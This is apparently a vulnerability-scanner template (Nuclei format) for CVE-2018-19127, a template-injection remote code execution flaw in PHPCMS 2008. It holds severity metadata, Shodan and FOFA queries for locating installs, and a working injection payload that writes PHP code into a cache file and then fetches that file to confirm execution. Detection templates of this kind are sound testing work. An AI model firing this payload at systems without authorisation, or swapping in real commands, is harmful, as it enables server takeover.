PHPCMS 2008 - Remote Code Execution via Template Injection

id: CVE-2018-19127

info:
  name: PHPCMS 2008 - Remote Code Execution via Template Injection
  author: tomaquet18
  severity: critical
  description: |
    PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.
  impact: |
    Successful exploitation allows an unauthenticated attacker to achieve remote code execution on the server, potentially taking full control.
  remediation: |
    The vendor is unresponsive and PHPCMS 2008 is no longer maintained. Users are advised to stop using this software or restrict public access to it.
  reference:
    - https://github.com/ab1gale/phpcms-2008-CVE-2018-19127
    - https://github.com/advisories/GHSA-p498-q357-m3p7
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19127
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19127
    epss-score: 0.20766
    epss-percentile: 0.97228
    cwe-id: CWE-94
    cpe: cpe:2.3:a:phpcms:phpcms:2008:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Powered by phpcms"
    fofa-query: body="Powered by phpcms"
    vendor: phpcms
    product: phpcms-2008
  tags: cve,cve2018,phpcms,rce,ssti,vkev,vuln

flow: http(1) || http(2)

variables:
  num: "999999999"
  payload: "tag_(){};echo(md5({{num}}));{//../rss"

http:
  - method: GET
    path:
      - "{{BaseURL}}/type.php?template={{payload}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "value=\"picture", "phpcms", "{{md5(num)}}")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/data/cache_template/rss.tpl.php"

    matchers:
      - type: word
        words:
          - "{{md5(num)}}"
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